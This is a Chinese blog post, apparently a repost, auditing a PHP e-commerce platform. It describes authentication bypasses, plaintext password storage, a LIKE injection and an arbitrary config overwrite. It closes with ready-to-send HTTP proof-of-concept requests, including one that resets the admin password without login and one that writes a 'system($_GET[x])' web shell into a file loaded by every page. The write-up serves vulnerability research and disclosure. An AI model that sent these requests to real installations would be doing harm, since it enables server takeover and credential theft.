2026-08-10 04:55:56 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 该文档对某PHP电商平台进行代码审计，发现多个高危漏洞，包括未授权使用AI服务、明文存储系统密码、未授权LIKE注入、任意配置覆写和后台命令执行。攻击者可利用这些漏洞完全控制服务器。建议立即修复，删除安装目录，加强鉴权和输入过滤。 综合评分： 86 文章分类： 代码审计,漏洞分析,WEB安全,渗透测试,安全建设

cover_image

某PHP电商平台代码审计

点击关注👉 点击关注👉

马哥网络安全

2026年8月8日 17:00 河南

在小说阅读器读本章

去阅读

0x 01 环境搭建

环境搭建推荐使用phpstudy_pro小皮面板，该系统要求语言环境为PHP7.4版本，默认使用中间件Nignx和数据库MySQL。

成功部署后，浏览器访问/install，按向导完成安装即可：

0x 02 审计流程

目录结构分析

xiaojieyun/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# Web 根目录
├── admin/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 【管理后台】最高价值目标
│ &nbsp; ├── index.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; 后台首页
│ &nbsp; ├── login.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; 管理员登录
│ &nbsp; ├── code.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # &nbsp; 验证码生成 (不依赖 common.php)
│ &nbsp; ├── set.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; 系统设置 (含 RCE 漏洞)
│ &nbsp; ├── ai_api.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # &nbsp; AI API 代理 (鉴权绕过)
│ &nbsp; ├── ajax_optimize.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; AI 优化应用 (鉴权绕过 + 配置覆写)
│ &nbsp; ├── ajax.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # &nbsp; 后台 AJAX 接口
│ &nbsp; ├── ajax_order.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # &nbsp; 订单管理 AJAX
│ &nbsp; ├── account.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; 子账户管理
│ &nbsp; └── ...
│
├── user/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 【用户中心】
│ &nbsp; ├── ajax.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # &nbsp; 用户 AJAX (登录/注册/下单)
│ &nbsp; ├── reg.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; 用户注册页面
│ &nbsp; ├── login.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; 用户登录页面
│ &nbsp; ├── regsite.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; 分站注册
│ &nbsp; └── ...
│
├── includes/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 【核心库】审计重点
│ &nbsp; ├── common.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # &nbsp; 全局启动文件 (加载顺序关键)
│ &nbsp; ├── member.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # &nbsp; 鉴权核心 (三种角色认证)
│ &nbsp; ├── function.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # &nbsp; daddslashes(), authcode(), real_ip()
│ &nbsp; ├── core.func.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; 业务核心函数
│ &nbsp; ├── ajax.func.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; AJAX 辅助函数
│ &nbsp; ├── base.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # &nbsp; CC 防御配置 (被无条件 include)
│ &nbsp; ├── auth.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # &nbsp; 授权验证
│ &nbsp; ├── lib/
│ &nbsp; │ &nbsp; ├── PdoHelper.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; 数据库抽象层 (表前缀替换)
│ &nbsp; │ &nbsp; ├── Cache.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; 配置缓存 (pre_cache / pre_config)
│ &nbsp; │ &nbsp; ├── Price.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; 价格计算
│ &nbsp; │ &nbsp; └── Plugin.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # &nbsp; 插件系统
│ &nbsp; ├── 360safe/
│ &nbsp; │ &nbsp; ├── 360webscan.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # &nbsp; WAF: Web 攻击检测
│ &nbsp; │ &nbsp; └── xss.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; WAF: XSS/SQL 规则过滤
│ &nbsp; └── plugins/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # &nbsp; 第三方对接插件
│
├── api.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 【对外开放 API】对接/查询
├── newApi.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 【新版 API】商品列表/搜索
├── newAjax.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 【新版 AJAX】订单查询
├── ajax.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 【前端 AJAX】无鉴权
├── cron.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 【定时任务】价格同步/订单监控
│
├── other/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 【支付回调】支付宝/微信
├── install/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 【安装向导】部署后应删除
├── template/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 【模板文件】
├── assets/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 【静态资源】
└── config.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 【数据库配置】

请求生命周期

该系统中几乎每个PHP文件都引用了includes/common.php依赖文件

Request
&nbsp; │
&nbsp; ▼
includes/common.php 加载
&nbsp; │
&nbsp; ├─[1] &nbsp;include base.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← CC防御配置 (define CC_Defender)
&nbsp; ├─[2] &nbsp;session_start() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ← 启动 PHP Session
&nbsp; ├─[3] &nbsp;autoloader + register &nbsp; &nbsp; &nbsp; &nbsp; ← 类自动加载
&nbsp; ├─[4] &nbsp;CC_Defender 检查 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← CC攻击防御（cookie校验）
&nbsp; ├─[5] &nbsp;加载 360safe WAF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 请求参数过滤
&nbsp; ├─[6] &nbsp;require config.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 加载数据库配置
&nbsp; ├─[7] &nbsp;new PdoHelper($dbconfig) &nbsp; &nbsp; &nbsp;← 初始化 $DB
&nbsp; ├─[8] &nbsp;$CACHE->pre_fetch() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ← 从 pre_cache 加载系统配置
&nbsp; ├─[9] &nbsp;define('SYS_KEY', ...) &nbsp; &nbsp; &nbsp; &nbsp;← 定义系统密钥
&nbsp; ├─[10] $password_hash = $conf['syskey'] &nbsp;← 密码哈希=系统密钥
&nbsp; ├─[11] include function.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← daddslashes(), authcode() 等
&nbsp; ├─[12] include member.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 【鉴权核心】解析 Cookie Token
&nbsp; ├─[13] 分站域名匹配 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ← 多租户域名绑定
&nbsp; ├─[14] cookiesid 初始化 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 访客标识
&nbsp; └─[15] 业务文件继续执行

白盒审计

未授权使用AI服务 在admin/ai_api.php中使用变量$islogin进行鉴权用户是否登录，默认硬编码为1。正常 admin 页面会重定向到login.php，但此端点直接被访问，若配置了 DeepSeek API Key，则可未授权调用 AI 服务。

明文存储系统密码 在install/index.php下，系统默认安装将明文密码存储到数据库当中。

在admin/login.php中，我们也可以看到系统直接使用数据库中明文密码与用户提交的密码进行对比判断，这为后续的攻击链埋下伏笔。

未授权LIKE注入 在newApi.php当中，使用了if (isset($_POST['user']) && isset($_POST['pass']))的IF语句进行判断，实际攻击者可以直接两个参数都不传递就绕过认证。

kw参数存在LIKE注入，使用%即可查看系统所有商品信息，使用了daddslashes函数转义了单引号，且系统默认连接数据库编码为utf8mb4，也就杜绝了宽字节注入的可能。

任意配置覆写 在admin/ajax_optimize.php中，同样存在使用$islogin参数认证登录，以及硬编码问题。

在设置do参数为apply后，可直接更新数据库中表pre_config中的配置项，包括key和value值。

在实际部署数据库后发现并不存在表pre_config

这是因为在includes/lib/PdoHelper.php中对代码中的表名和实际数据库名进行了前缀替换。默认将pre_前缀替换为$dbconfig['dbqz']值，默认在config.php对应是shua字符串。

在shua_config表中存储着管理员用户名密码，这样我们就可以通过未授权方式将管理员用户名和密码进行覆盖。

后台命令执行 管理员后台存在配置CC防护功能，使用PHP代码拼接的方式写入到文件base.php。

base.php在lib/common.php中被引用，也就是说，每个PHP文件在加载都需要引用base.php，把恶意代码写入到base.php当中，就能对整个系统进行命令执行。

0x 03 漏洞验证

未授权使用AI服务

POST /xiaojieyun/admin/ai_api.php HTTP/1.1

Host: localhost

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

action=chat&model=deepscek-chat&messages=[{"role":"user","content":"你好，请介绍一下你自己"}]

未授权LIKE注入

POST /xiaojieyun/newApi.php?act=goodslistbycid HTTP/1.1

Host: localhost

Content-Type: application/x-www-form-urlencoded

kw=%25&cid=-1&limit=100&page=1&status=all&range=all

任意配置覆写

POST /xiaojieyun/admin/ajax_optimize.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

do=apply&type=admin_pwd&content=admin123

后台命令执行

POST /xiaojieyun/admin/set.php?mod=defend_n HTTP/1.1

Host: localhost

Cookie: PHPSESSID=9gl455vir88e1a9kglv6bi665g; mysid=bb7978f7e53b24f8315d781ac2e14f17

Referer: http://localhost/xiaojieyun/admin/set.php?mod=defend

Content-Type: application/x-www-form-urlencoded

do=submit&defendid=1);system($_GET[x]);//&cc_protect_enabled=0&cc_max_requests=100&cc_check_time=10cc_block_time=300&cc_redirect_url=https://www.baidu.com

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：马哥网络安全点击关注👉 点击关注👉《某PHP电商平台代码审计》